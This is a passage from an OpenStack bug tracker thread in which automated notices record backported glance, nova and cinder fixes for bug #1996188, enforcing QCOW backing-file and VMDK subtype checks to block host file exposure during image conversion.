The configuration option to specify allowed subtypes is added in
glance's config and not in the import options so that we can extend
this check later to image ingest. The format_inspector can tell us
what the type and subtype is, and we could reject those images early
and even in the case where image_conversion is not enabled.
Closes-Bug: #1996188
Change-Id: Idf561f6306cebf
(cherry picked from commit 0d6282a01691cec
(cherry picked from commit 4967ab6935cfd02
(cherry picked from commit dc8e5a5cc7f5e9d
(cherry picked from commit f45b5f024e765f0
(cherry picked from commit 9a98c4a7d1358cd
Conflicts: glance/
- removed code related to missing tests - 050802dd67b9135
(cherry picked from commit 06e6be579156d8b
OpenStack Infra (hudson-openstack) wrote : Related fix merged to nova (stable/ussuri) | #179 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/ussuri
commit 3fe8880d3759cbd
Author: Dan Smith <email address hidden>
Date: Thu Nov 10 09:55:48 2022 -0800
[stable-
NOTE(sbauza): Stable policy allows us to proactively merge a backport without waiting for the parent patch to be merged (exception to rule #4 in [1]. Marking [stable-only] in order to silence nova-tox-
[1] https:/
Conflicts vs victoria in:
Related-Bug: #1996188
Change-Id: I5a399f1d3d702b
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/glance 26.0.0.0b3 | #180 |
This issue was fixed in the openstack/glance 26.0.0.0b3 development milestone.
OpenStack Infra (hudson-openstack) wrote : Fix merged to glance (stable/train) | #181 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/train
commit 7756a90b7dacf44
Author: Dan Smith <email address hidden>
Date: Mon Dec 19 15:00:35 2022 +0000
Enforce image safety during image_conversion
This does two things:
1. It makes us check that the QCOW backing_file is unset on those
types of images. Nova and Cinder do this already to prevent an
arbitrary (and trivial to accomplish) host file exposure exploit.
2. It makes us restrict VMDK files to only allowed subtypes. These
files can name arbitrary files on disk as extents, providing the
same sort of attack. Default that list to just the types we believe
are actually useful for openstack, and which are monolithic.
The configuration option to specify allowed subtypes is added in
glance's config and not in the import options so that we can extend
this check later to image ingest. The format_inspector can tell us
what the type and subtype is, and we could reject those images early
and even in the case where image_conversion is not enabled.
Some changes were required in the backport in order to pass the CI:
Pep8 fix: ignore H703 errors.
Py27 fix: FileNotFoundError did not exist in Python2.7.
Closes-Bug: #1996188
Change-Id: Idf561f6306cebf
(cherry picked from commit 0d6282a01691cec
(cherry picked from commit 4967ab6935cfd02
(cherry picked from commit dc8e5a5cc7f5e9d
(cherry picked from commit f45b5f024e765f0
(cherry picked from commit 9a98c4a7d1358cd
Conflicts: glance/
- removed code related to missing tests - 050802dd67b9135
(cherry picked from commit 06e6be579156d8b
(cherry picked from commit b60fb70c9faf3b7
tags: | added: in-stable-train |
OpenStack Infra (hudson-openstack) wrote : Fix merged to glance (stable/wallaby) | #182 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/wallaby
commit 9a98c4a7d1358cd
Author: Dan Smith <email address hidden>
Date: Mon Dec 19 15:00:35 2022 +0000
Enforce image safety during image_conversion
This does two things:
1. It makes us check that the QCOW backing_file is unset on those
types of images. Nova and Cinder do this already to prevent an
arbitrary (and trivial to accomplish) host file exposure exploit.
2. It makes us restrict VMDK files to only allowed subtypes. These
files can name arbitrary files on disk as extents, providing the
same sort of attack. Default that list to just the types we believe
are actually useful for openstack, and which are monolithic.
The configuration option to specify allowed subtypes is added in
glance's config and not in the import options so that we can extend
this check later to image ingest. The format_inspector can tell us
what the type and subtype is, and we could reject those images early
and even in the case where image_conversion is not enabled.
Closes-Bug: #1996188
Change-Id: Idf561f6306cebf
(cherry picked from commit 0d6282a01691cec
(cherry picked from commit 4967ab6935cfd02
(cherry picked from commit dc8e5a5cc7f5e9d
(cherry picked from commit f45b5f024e765f0
OpenStack Infra (hudson-openstack) wrote : Fix merged to cinder (stable/train) | #183 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/train
commit e40a0bea89d4e5c
Author: Brian Rosmaita <email address hidden>
Date: Mon Jan 16 14:44:04 2023 -0500
Check VMDK subformat against an allowed list
Also add a more general check to convert_image that the image format
reported by qemu-img matches what the caller says it is.
Change-Id: I3c60ee4c0795aa
Partial-bug: #1996188
(cherry picked from commit 930fc93e9fda82a
(cherry picked from commit ba37dc2ead69c08
Conflicts:
cinder/
- changed type annotations to use implicit Optional to be
consistent with cinder yoga mypy usage
- removed refs to image_conversio
(cherry picked from commit 2ae5d53526e2b22
(cherry picked from commit e96415409daa158
Conflicts:
cinder/
- removed type annotations
- restored wallaby-era fetch_verify_
(cherry picked from commit be11d54ac420e0e
Conflicts:
cinder/
- did not include extraneous test from be11d54ac's parent commit
Additions:
cinder/
- added code to handle oslo.utils<
cinder/
- added a test for ^^
(cherry picked from commit 17565262dafb5be
Conflicts:
cinder/
- removed src_passphrase_file parameter to convert_image() that was
introduced in victoria by change I896f70d204ad103e
cinder/
- removed references to ddt.TestNameFormat (not present in this
version of ddt)
(cherry picked from commit 9902c17927b69e0
Additions:
cinder/
- added code to handle oslo.utils<4.1.0 when running unit tests under
Python 2.7
Changed in glance: | |
assignee: | nobody → Dan Smith (danms) |
OpenStack Infra (hudson-openstack) wrote : Related fix merged to nova (stable/victoria) | #184 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/victoria
commit eabb16a42132638
Author: Dan Smith <email address hidden>
Date: Thu Nov 10 09:55:48 2022 -0800
[stable-
NOTE(sbauza): Stable policy allows us to proactively merge a backport without waiting for the parent patch to be merged (exception to rule #4 in [1]. Marking [stable-only] in order to silence nova-tox-
[1] https:/
Conflicts vs wallaby in:
Related-Bug: #1996188
Change-Id: I5a399f1d3d702b
OpenStack Infra (hudson-openstack) wrote : Change abandoned on cinder (stable/rocky) | #185 |
Change abandoned by "Brian Rosmaita <email address hidden>" on branch: stable/rocky
Review: https:/
Reason: Rocky transitioned to End of Life by change I600914dd08e9 and is accepting no more changes.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/glance train-eol | #186 |
This issue was fixed in the openstack/glance train-eol release.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/glance ussuri-eol | #187 |
This issue was fixed in the openstack/glance ussuri-eol release.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/glance victoria-eom | #188 |
This issue was fixed in the openstack/glance victoria-eom release.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/glance wallaby-eom | #189 |
This issue was fixed in the openstack/glance wallaby-eom release.
Since this report concerns a possible security risk, an incomplete
security advisory task has been added while the core security
reviewers for the affected project or projects confirm the bug and
discuss the scope of any vulnerability along with potential
solutions.
I've started with just Nova even though the reporters mention Glance and Cinder, since it's unclear (at least to me) precisely which project(s) could need fixes. We can widen the discussion to include those teams after initial triage from Nova's security folks indicates it's warranted.